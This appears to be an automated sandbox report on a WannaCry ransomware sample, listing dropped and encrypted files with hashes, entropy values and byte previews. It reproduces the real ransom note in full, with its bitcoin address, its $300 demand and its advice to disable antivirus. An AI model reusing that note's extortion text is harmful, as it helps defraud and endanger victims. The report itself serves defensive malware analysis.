                                                                                                                                                                              SHA-256:6164A3BBBC4B37D65963368AE09DDCAEAD7215026805B11BD4BD29590B8F4FA6
                                                                                                                                                                              SHA-512:18467360F7825B4377F450990FF4A0D8B97291EFA68B2A6C62CF00CEDAC18ACE3A240E93F0FA010C864FED94C2C33EAAEC2AB1831428C4EC42DC44280CA74F5D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....POy.2.d......f.....(&..mU......,.k.....&W*W.Q.G<1...?..|.........K...8.I.8.f.;'.7.....h..Br..U:...N...4U)....,9..Zf.p<jt..Z.[ ,w.M#..'.X..X?.A3H.b*;&...H...._O").6..a...[$..`.......z..._i..+.C..T.ja.`......6..U....I#.zn!9..C>.]YD./..... ..O...]!..............n^.Q.'..Y..n3|U&..`z....W..G.1..Ys..9}.....P19wm.wE.....x..t...Kb..@T_!$.W[.D..(1.U....R...-....w......C.JzH.dq..Z,.z.....S...V!sm+..C...#.....5Ag._."/@...a..._*5............>IB.....t'o1.cp.1...s7?/.h3..v7... ....P..|N...5..l.T..5..q.....b.t..U}..".....p......k.n..f....YE.W.3..JfC.?..B....'_.}....Q.+.....Yf.s.:..{-..).... .....P... t..P.a....,L+.5[.W.qr.{...u3......Hb......!v..(....Cp..L.y..!...`..-...[i.."...Fd,>........$..58d'y,....k.{7..kO{b...q...n..]."....F.|pv6.b..S).o.....EsHY........=......j.B..J....Q.1..p. ..s3.8.k...>..3'..h.Mdq`..A..sH7.P...-;pvV..r.H.......FR.=1..,C.._y.P..Ik..u...$...q....F.|.l.W..-..............m....M;."W:?Q..S.....@,.(8!.."1.h...C..uM._K...

                                                                                                                                                                              C:\ProgramData\USOPrivate\UpdateStore\store.db

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\MoUsoCoreWorker.exe
                                                                                                                                                                              File Type:SQLite 3.x database, user version 3, last written using SQLite version 3029000, file counter 576, database pages 2963, 1st free page 105, free pages 2946, cookie 0x6, schema 4, UTF-16 little endian, version-valid-for 576
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12136448
                                                                                                                                                                              Entropy (8bit):3.8907223157127335
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:49152:sOx9aksx+oxKqOjDdxapS0gHxNSJ1lIfBrpBxnInLfuVJs:X
                                                                                                                                                                              MD5:ACCD9A3C4754440643704E9BA9114844
                                                                                                                                                                              SHA1:EB072E77EABDBC6C442B42AFB37C8F06F7E40E82
                                                                                                                                                                              SHA-256:EC2F4640F7BA30A317002F2992983292EBC0F59FA6852482C6114372CFA68A02
                                                                                                                                                                              SHA-512:08F274B44B85FC2F61AA0A764330B7B2C718E6531BE0D9D6A690F9C8D61F0921AF9408E25C669411549C0ECFD612F4C529A962CD6EA3B41F8B60A4873D6931EC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:SQLite format 3......@ ...@.......i...........................................................@..8......................6..............................................................................................................................................................................................................................................................................................................................................l..!..A..i.n.d.e.x.s.q.l.i.t.e._.a.u.t.o.i.n.d.e.x._.P.R.O.V.I.D.E.R.S.P.R.O.P._.1.P.R.O.V.I.D.E.R.S.P.R.O.P...L..!AA...t.a.b.l.e.A.C.T.I.O.N.R.E.C.O.R.D.S.A.C.T.I.O.N.R.E.C.O.R.D.S..C.R.E.A.T.E. .T.A.B.L.E. .A.C.T.I.O.N.R.E.C.O.R.D.S. .(. . . . . . . . . . . . .P.R.O.V.I.D.E.R.I.D. . . . . . . . . . . . .T.E.X.T. .N.O.T. .N.U.L.L. .C.O.L.L.A.T.E. .N.O.C.A.S.E. .C.H.E.C.K.(.P.R.O.V.I.D.E.R.I.D. .<.>. .'.'.).,. . . . . . . . . . . . .U.P.D.A.T.E.I.D. . . . . . . . . . . . . . .T.E.X.T. .N.O.T. .N.U.L.L. .C.O.L.L.A.T.E. .N.O.C.A.S.E. .C.H.E

                                                                                                                                                                              C:\ProgramData\USOPrivate\UpdateStore\store.db-journal

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\MoUsoCoreWorker.exe
                                                                                                                                                                              File Type:SQLite Rollback Journal
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12824
                                                                                                                                                                              Entropy (8bit):2.1806532743388134
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:71S2JbtSdyUz5rpbPEzpFG9G5OGFGnGiesG9GURGzns:71S2JbtUr5rpb8dlKs
                                                                                                                                                                              MD5:CBF8E8BF54D69B8D63379B1B7D157AE8
                                                                                                                                                                              SHA1:E5127F562FBFA89BAB092A028D4C272CD7109226
                                                                                                                                                                              SHA-256:4E23B49A4B83AE37BF34933EA7499F4DB0CFCDBC380897EAD926B564D3BCC0F9
                                                                                                                                                                              SHA-512:6133D7D7EA7AA07EE970E82B2B1C777CB4529BEABF4B201D44850E72D6D2C6AD28EBEADF384496A7439AEA4B93DFB4B2D62725C0A790B9DF5085EEDC320DD214
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.... .c.....#.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................S......S.P.......H...].......3................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.401c5189-5a30-4d0a-8190-4774d59f83ef.1.etl

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\MoUsoCoreWorker.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):40960
                                                                                                                                                                              Entropy (8bit):4.558749509520757
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:D+P6H0NV2lv7nq2yh2oW36Q2kXhOZn0x6H0NV2lCYK/TSjQZOJj:iyH9X7oH+s
                                                                                                                                                                              MD5:AAC1443FBB02E93DCB0EEAFE62AF6AB1
                                                                                                                                                                              SHA1:F12DEA61E0625064673397ECE6557B4BE7D6CAA6
                                                                                                                                                                              SHA-256:39446C6F0909D000041CED9F3947745D9BC7BB96F5B2C7117EC061A6BC38EBEE
                                                                                                                                                                              SHA-512:9DCC17C5C524344BDB0A17E37FFD71DE4E82765562D91D38FCDC8B47B645D1BABADF3B8B0984B15E1FE9C0553DAEDF4568EFEF7604CF31DED69282B7904FC17E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:................................................................................X...L....>......................eJ........>Y....Zb..K....(......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0.Y .Y...........>..............M.o.U.s.o.C.o.r.e.W.o.r.k.e.r...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.S.y.s.t.e.m.\.M.o.U.s.o.C.o.r.e.W.o.r.k.e.r...4.0.1.c.5.1.8.9.-.5.a.3.0.-.4.d.0.a.-.8.1.9.0.-.4.7.7.4.d.5.9.f.8.3.e.f...1...e.t.l.......P.P.X...L....>......................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\ProgramData\USOShared\Logs\System\WuProvider.20e71b42-a5b4-477c-9e95-20fb16e4f581.1.etl

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\MoUsoCoreWorker.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:modified
                                                                                                                                                                              Size (bytes):4096
                                                                                                                                                                              Entropy (8bit):1.1219175480882053
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:sIBPqF69Fq5DMSbgjO3s7N7FBoHGeyumP:sIB162DBonjmP
                                                                                                                                                                              MD5:843E11113F21C3308D86AFD59F1B0928
                                                                                                                                                                              SHA1:244D53A10FB6BEE9B162B8CE50F020CC9D076679
                                                                                                                                                                              SHA-256:099B0F414F33F632EB856BD517D59F9B2E2157FB253E7AEB8A06D03EE7A2FE7D
                                                                                                                                                                              SHA-512:CD6C979170FF263F85C8E9E160A917F130233579BF81195C589C425200D4F6BAB0A4B2227705A487EC7C8B2B60FFF823D0B9A9D212FAA59A6244E9432D8C148F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:................................................................................X...L....>......................eJ.......oY....Zb..K....(......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0.Y .Y...........>..............W.u.P.r.o.v.i.d.e.r...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.S.y.s.t.e.m.\.W.u.P.r.o.v.i.d.e.r...2.0.e.7.1.b.4.2.-.a.5.b.4.-.4.7.7.c.-.9.e.9.5.-.2.0.f.b.1.6.e.4.f.5.8.1...1...e.t.l...........P.P.X...L....>......................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\AppData\Local\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\AppData\Local\@WanaDecryptor@.exe

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):245760
                                                                                                                                                                              Entropy (8bit):6.278920408390635
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                                                                              MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                                                                              SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                                                                              SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                                                                              SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133687200380752461.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):115080
                                                                                                                                                                              Entropy (8bit):7.998586131729066
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:ln9XkCVx8Q3ZT3kLVRmYP/u85mEX1RxXwg:J9bdpLSAYP285mAgg
                                                                                                                                                                              MD5:2D43FD9754DF551E3316668F1E8AB29E
                                                                                                                                                                              SHA1:6A34AAD7EE89EEABDD4445361B549E3F1F254738
                                                                                                                                                                              SHA-256:4600AED210FAF30B748B1BE665742457FD3F2C7B93F4C3CA9C92BD892366E1FD
                                                                                                                                                                              SHA-512:72A058DE6FCD83A668015105BBAA005071870B30334BA34B25E7DEA669C77A1DC57E986BB57EAE69C2E9D02C4641DC7F1C9C3745F9C9B6AF73E0736F8289B312
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....)..E..........M.....?....f..P..S.....c....7..v...../.o3..jVq..S.......b.?..3..N..A..EbD...h^8..V.'QVV... ...C...vQk:X.$U.x.Jk.AlF....A.O....1....R...0L....?...p9.we.......7.C.H.~.].....'.]/K..^:9.X..h,....U..H.t7...H%...s..d.dC....!...r.E.5ae... +L]....a.............%&.D.".)b..(...#4.a....T....FU..!%.{fGMh0....A...........M.e...S......cK...[..`.L..........C.fe:......uE..n..Oi.......8.j..{...B.%.a=.....`....JL..}i.d.mS(G`#.-L.^.....RN..,.....90....u^....6.........O.L4....49`w..JF.....m.D..n}....6.1.+...i,..$..F....f.L.}R.K...o..\l6......z...JXi..Aq.uD.H..8..K..vU...N..T.aP.m.8".}.......CB.cc.H.?%qM...|..T.FL......*g{.,v~VD...`..4.....Ui}....r[5.v.L#i..3'.KZ....d..4phH.".`e.......l.2vse...........Gc..6...P'..Q..@c$1..x.BX..".qB%Iu.=?4M7r...)..9.P8.)..%..A..8.,r.Xn.Q.(...-.Q.m..p>....9}.../C..!...]......8...+..$...-......Ek*)..8...7.{...W..N.1...}%...$%.!........^......+...(..L........../..>.i......*b.F.-..".}.8..[.J+.sK].E./N..

                                                                                                                                                                              C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999836387339257
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:PusJzBoBBtKYekwp4LLSG1YnByx35VTkmM6vCU6jCjMovod6:2sJzy7lwp4LZYn4lPOOCmFvN
                                                                                                                                                                              MD5:640C61013F180039C06E443B7DBD5927
                                                                                                                                                                              SHA1:B1A54C2692C622754CFC279549347044E355C81F
                                                                                                                                                                              SHA-256:D28594587CDF11FC5B0E699775DE368B83DA4988768E6FF302C067C554611216
                                                                                                                                                                              SHA-512:A5FFB768A07D68BD7D53FFDF4BDAE79C4DD5A4572A77B990EE2880E23B28B594205898BCE4B9B443E72B60DEEE731BDEF158BC62ABCE20DB9418ED130F4CBF55
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......X.L^.0W.(x./.!.....c..|._1.%.}.r...=..rZ-D..@rSL..3ny..>.\..,=a|.Nc........I$..B.+...+vr..io...T.<.V.[...6B._..F69.-..H...N..Ax...Z...;..u,g.#.Z.F...-N&.c...D.lD....X...~.L..P!..o..-..._.>0@..............xm..j.~....f..D..&E..;x .._...+.3............<Ee.9...V....]......Y..B.....C.....Sx...z=....M.%_.v;..;....z$....,.4..-.=.=.RA.>.0.Xo..Z.U...o-*..t.....m.7ws)T.LU......H...O....u.5Z.g.f9.....6.#.5..?ck.2.!...S.)1....K1h....X&...........'..VV...I....g.B3./..D.A.p&.[....)...<...uk.@..o_.=...=.@.H.!.\...l~.?..>.....$..P....\.}......g..e5n...g.W...(.4]0.&27.^&'....k2?..;.p..O..8........4.O...N..$PJ&.....Z.^..&.~...d.. ..}ud.O9P.^.sZ....<....$....6kn..my.....j.D..!..`q..R.P.X...+...=..=O.!5.....C.!....j.7%.k.....w..x\..})...NinL.X....[..+....#v...%...3..u......2....^...O...].....r.=6'#.%.z/.?.......`c..u...Rc2.C......L.....B...:#2..x.P..[.MC9.<p.#F&s.#..7..U.b,.3...vY0.(E....%...r......R.Fh..'......u....P#x..@.^*..%..:/1{.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):544936
                                                                                                                                                                              Entropy (8bit):7.999652782622003
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:9R7vFp83d+RbD+Jkn1CVmysMckJM0hDJaJ3gh:rvud+5iKCVmChJLK3gh
                                                                                                                                                                              MD5:50338591AF132A85EE72379111961128
                                                                                                                                                                              SHA1:E7E1B97D911E673AD0FEC1962430E9B7B87A4B06
                                                                                                                                                                              SHA-256:AC9C225162C70704D779704D4BBBC03D8CB5CDF67C4F0E3AD8B5829A077A7F38
                                                                                                                                                                              SHA-512:C105894C825E6CE887289C2FE55051A6ECDE315EA6D779AD7FC6E0C38167640519FD23A7C51D3FC8F0A5D8F7059E828154B0EE97EB3709C4CD11964DF15E4A7C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......-.kn..'..I...`..[...v..$......S..D_.$.!.......n..ip...~&....^G+-.B.1..:..L........3V..c'..fI..._.P#.,$.pQO.........3..4M.VPh.\u~.......k.S.....t.Q...W....&t.....<..l...r/..\k.'...+R?......$y>.Q..l#.....tH.I..=.1K....0*..q..Bi.:.I..~....[.......O......,..}...8.o.3..Z@O...........%pQ..g)(m.wUFv..5f5.*.%..C...y.2=..d..rW.Q....I.a.....>5...{.S.....h.......q.......F.e.q...NFK].(....|g.g..J..@..).L0.....y..7......a-.W....|w..(.D.)......7B.%z.........A..M..5u..}i?.. ..B.........F.yt.c.....V.E5.G.r.E=..s.".v{.T..9.T.J..~..).O...J..&r,.&...e-...&L.9..q.ef.25.\P.....SD-.3.H..0.>.Y.[,.).!..ds....s{p.U_=..B.@T.^...N.*_.6....y.R>.w....M/...!..X.a5..}.e.../8.....Z.J..b.*WD^4..Jr.{M..B..j+.-.\.*#y(G`...Ok.U bMn0..?C"=..:...b.Xq.r...C......p........0^\.-F4`.nN...=eq.2....l..."W.......B.._..-....v..b.O..c.r.8..Fnt9...$...ol..CU#....../s1.....7U..`..L....V_.L.N...#..%..j....n...IM/.c...ly.1.C.;.......>.....6J......>n.1o...;...l.q....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):261608
                                                                                                                                                                              Entropy (8bit):7.999286731989303
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:I1NWYxMPJGh0qlHsX3PAhduNUYbo4HcUerp+zpTzxE71k9d+7dZ9YrvvmZH1k+qW:YFa8ZhGUA8UNxE7C9dAbYjwm+qp+UfsF
                                                                                                                                                                              MD5:74BE8A71C651C524B77BFC048E6C2088
                                                                                                                                                                              SHA1:31E9984BCC5EC39CE00300AF17890842E65D6FFE
                                                                                                                                                                              SHA-256:5D6A632A858C955E8284DACB93479C7BB9E75020B6940A6EED4310655224624A
                                                                                                                                                                              SHA-512:7732128FD34A3C39B388EB1C454B3F56EE59D1ECCE398EDD2EE8B41B64B151F9DA7D67E8D7E873763EF930A226FDCA2811BEA60B93324CE7F157B13062749692
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....s.<....6.T:.i.....)."d.?r...':N......Bn.ToKU]5..S......I.y.fv..}...X.M...xpE.).Yz....J.....=...$`.+$..A.uc...cJ..^.G....?...N;....f..V.0...6!Ijd....d'q.....~dPg.,.z.t.B.4......Y..$..o.r.....?.....w....3P..1y.c.s..x.....F...F../...@.I..P.....D......V............. 5..!5.......Sg.>......<.{....(&4......._{......S7m.....AL:b.."....L.L 6`<....qX..a`...}../n..ev..%...l..&.V.m...a.X....o.!.m..#L..;....\g`.......c.:.].....X...p..'L$~.....?.W.6.h0v....W..}.k.o[..?...&4......=;.6S..2.".5..p......>@...Ep....eq@..|...j.ST.....}......6E...,..1Y..B.o.a.+..,Z-..@,..L.......5X...)2PrBh...f.H....f.....F..[*..K.....o.q......~..u.X...q.7..N....',.....w..$.M.\...W. ..v..l.@.Q...?G..^.=..6.C.wt..:4[.....4N.....$k............pJp.......Q.Q...U..IV..f......xR.....R]...R.S....%F...6HZy..h[..asA.F..........X....0.?O...f...*.H..7H.~(.RSJ.6Ws...x..R9_.$..k....x."4tE..T.-O.Y?@.....R...t=.!c..>.Km,..?c.?.........,D&..Wr/..X./s..qy].'{......=.2..p..pA{K..aEw.#..'..-h.f*}..C

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):70648
                                                                                                                                                                              Entropy (8bit):7.997471106549675
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:is2uFAvJR+8o/KRbjP3+gMOwo1KA+xz66I5pO9uCoHYx85r9FoK:iBoAvJayRXPlAtz668LHY4r9qK
                                                                                                                                                                              MD5:004E2CC495192EA74039DAB5C850DC79
                                                                                                                                                                              SHA1:1D18E72E1DD4C49E187C3D74D15FBD05C8E81A3F
                                                                                                                                                                              SHA-256:B05BC2BF7EFFC66515FF11F775B81259F7331DF95FFC06FC18F5FDA9E3C048B6
                                                                                                                                                                              SHA-512:7DB36FC1238C54C80AA4F3DDA5C2F9EF350B5BDE1C29122FB823BD00851E283DF74CEB863154E13E89FA765BCC5CF2AF4CEC2393806E5ADF8B51BBA61C13CD1E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
